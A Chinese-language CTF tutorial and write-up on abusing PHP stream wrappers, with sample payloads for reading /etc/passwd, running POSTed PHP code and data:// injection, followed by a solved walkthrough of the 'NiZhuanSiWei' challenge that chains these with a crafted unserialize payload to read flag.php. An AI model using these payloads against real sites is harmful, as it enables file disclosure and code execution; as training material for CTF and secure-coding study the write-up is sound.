CTF中常用的php伪协议利用
<h2 id="file">file://</h2><p>作用:</p>
<blockquote>
<p>用于访问文件(绝对路径、相对路径、网络路径)</p>
</blockquote>
<p>示例:</p>
<blockquote>
<p><code>http://www.xx.com?file=file:///etc/passswd</code></p>
</blockquote>
<h2 id="php">php://</h2>
<p>作用:</p>
<blockquote>
<p>访问输入输出流</p>
</blockquote>
<p><strong>1. <code>php://filter</code></strong></p>
<p>作用:</p>
<blockquote>
<p>读取源代码并进行base64编码输出</p>
</blockquote>
<p>示例:</p>
<blockquote>
<p><code>http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)</code></p>
</blockquote>
<p>参数:</p>
<blockquote>
<p>resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流<br>
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。<br>
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。<br>
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。</p>
</blockquote>
<p><strong>2. <code>php://input</code></strong></p>
<p>作用:</p>
<blockquote>
<p>执行POST数据中的php代码</p>
</blockquote>
<p>示例:</p>
<blockquote>
<p><code>http://127.0.0.1/cmd.php?cmd=php://input</code></p>
<blockquote>
<p>POST数据:<code><?php phpinfo()?></code></p>
</blockquote>
</blockquote>
<p>注意:</p>
<blockquote>
<p><code>enctype="multipart/form-data"</code> 的时候 <code>php://input</code> 是无效的</p>
</blockquote>
<h2 id="data">data://</h2>
<p>作用:</p>
<blockquote>
<p>自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到<code>base64编码</code>传输</p>
</blockquote>
<p>示例:</p>
<blockquote>
<p><code>http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b</code></p>
</blockquote>
<h2 id="实例httpsbuuojcnchallengeszjctf202019nizhuansiwei">实例<code>(https://buuoj.cn/challenges#NiZhuanSiWei)</code></h2>
<p>打开网址,给了源码</p>
<pre><code class="language-php"><?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file);//useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
</code></pre>
<ul>
<li>代码示意我们要get传参text,file,password</li>
<li>通过初步观察,可基本确定text要求传入文件,且文件内容为:<code>welcome to the zjctf</code>、file传入一个文件名,通过<code>include($file)</code>包含进来、password未知</li>
</ul>
<p><strong>伪协议第一次利用:</strong><br>
<code>if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))</code></p>
<p>这里需要我们传入一个文件且其内容为<code>welcome to the zjctf</code>,才可以进入判断进行下一步<br>
由于:在官方手册中file_get_contents()是用来将文件的内容读入到一个字符串中的首选方法,并且给出了几个运用实例。</p>
<pre><code class="language-php">echo file_get_contents('http://www.xxx.com/aa.png', 'r');
// 将会在该页面中输出图片
</code></pre>
<p>在例子中发现:<code>file_get_contents()</code>的<code>$filename</code>参数不仅仅为本地文件路径,还可以是一个网络路径<code>URL</code>。于是便可以利用伪协议:</p>
<ul>
<li>姿势一:<code>data://</code>协议利用</li>
</ul>
<pre><code>text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
// d2VsY29tZSB0byB0aGUgempjdGY= 解码后为 ----->welcome to the zjctf
url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
</code></pre>
<p>得到:<br>
<img src="https://img2018.cnblogs.com/blog/1893076/202002/1893076-20200208201857427-1941074178.png" alt="" loading="lazy"></p>
<ul>
<li>姿势二:<code>php://</code>协议利用</li>
</ul>
<pre><code>url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=php://input
POST数据:welcome to the zjctf
POST请求包:
POST /?text=php://input HTTP/1.1
Host: a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn
Connection: close
Referer: http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/
Upgrade-Insecure-Requests: 1
welcome to the zjctf
回包:
HTTP/1.1 200 OK
Server: openresty
Date: Sat, 08 Feb 2020 11:45:53 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 38
Connection: close
X-Powered-By: PHP/5.6.40
<br><h1>welcome to the zjctf</h1></br>
</code></pre>
<p><img src="https://img2018.cnblogs.com/blog/1893076/202002/1893076-20200208194834071-1019163750.png" alt="" loading="lazy"></p>
<p><strong>伪协议第二次利用:</strong></p>
<pre><code class="language-php">$file = $_GET["file"];
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file);//useless.php
$password = unserialize($password);
echo $password;
}
</code></pre>
<p>此处过滤了<code>flag</code>这个关键字,要是直接给你包含了,那也·······<br>
可以看到代码注释中有一个<code>useless.php</code>,明面上说是没用,但是我们可以通过<strong>伪协议</strong>拉下来瞅瞅</p>
<pre><code>file=php://filter/read=convert.base64-encode/resource=useless.php
</code></pre>
<p>为了方便我们前面便用data协议来绕过 <code>if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))</code>,进入判断语句内部</p>
<p>于是:</p>
<pre><code>url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
</code></pre>
<p>得到<code>useless.php</code>的<code>base64编码</code>后的内容:<br>
<code>PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKX sgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQT FoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=</code><br>
<img src="https://img2018.cnblogs.com/blog/1893076/202002/1893076-20200208202350849-1515617274.png" alt="" loading="lazy"><br>
解码后得到:</p>
<pre><code class="language-php"><?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
</code></pre>
<p><strong>这一段代码的意思是:获取这个<code>$file</code>参数代表的文件并且输出出来,注意<code>Flag</code>类中的<code>$file</code>参数与通过<code>get</code>传输<code>$file</code>参数不是同一个,两者位于不同的作用域!</strong><br>
由其中的注释猜测,应该是要我们包含<code>flag.php</code>这个文件即可获得flag,即将Flag对象中的<code>$file</code>参数应为<code>flag.php</code>。<br>
如果我们包含了<code>useless.php</code>,则整体代码变成了:</p>
<pre><code class="language-php"><?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
</code></pre>
<p>在<code>$password = unserialize($password);</code>中,<code>unserialize()</code>函数是一个反序列化函数。不熟悉序列化与反序列化的可以百度一下。<br>
若我们将一个序列化后的对象即一串<strong>字符串</strong>传给<code>$password</code>,那么我们会得到一个实例对象,我们便不难想象,若是我们将一个<code>useless.php</code>中的Flag对象(其中<code>$file</code>参数的值为<code>flag.php</code>)序列化后得到的字符串传给$password参数,经过反序列化后变变成了一个实例对象,一句可<strong>执行的代码</strong>,且能输出<code>flag.php</code>中的代码!震惊!!!<br>
于是构造:</p>
<pre><code class="language-php"><?php
class Flag{
public $file="flag.php"; //Amazing !!!!!
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password = new Flag();
echo serialize($password);
?>
</code></pre>
<p>得到:<code>O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}</code><br>
<img src="https://img2018.cnblogs.com/blog/1893076/202002/1893076-20200208210915963-626591836.png" alt="" loading="lazy"><br>
于是乎:<br>
<strong>payload:</strong> <code>?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}</code><br>
在url后加入以上语句后,会执行一下操作:</p>
<ul>
<li>首先,利用data伪协议,text参数便可以绕过<code>if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))</code>,顺利进入判断语句内</li>
<li>然后,包含了<code>useless.php</code>文件,从而在原代码中引入了<code>Flag</code>对象,只有如此,在<code>password</code>参数反序列化才可输出<code>flag.php</code>文件的内容</li>
<li>传入的<code>password</code>参数经过反序列化后,得到一个<code>$file=flag.php</code>的Flag对象,同时执行了该Flag对象内部的<code>__tostring()</code>方法,输出<code>flag.php</code>的内容,从而得到<code>flag</code><br>
注意:需要查看网页源代码方可见到<code>flag</code><br>
<img src="https://img2018.cnblogs.com/blog/1893076/202002/1893076-20200208212048970-1576558636.png" alt="" loading="lazy"></li>
</ul>
<p>其他的伪协议:(菜鸡思维导图)<br>
链接:https://pan.baidu.com/s/1-C6FWW3SBLin_us4_Kk5EQ<br>
提取码:56vl</p>
<p><strong>参考:</strong><br>
1:https://www.freebuf.com/column/148886.html<br>
2:https://www.redmango.top/article/13</p><br><br>
来源:https://www.cnblogs.com/wjrblogs/p/12285202.html
頁:
[1]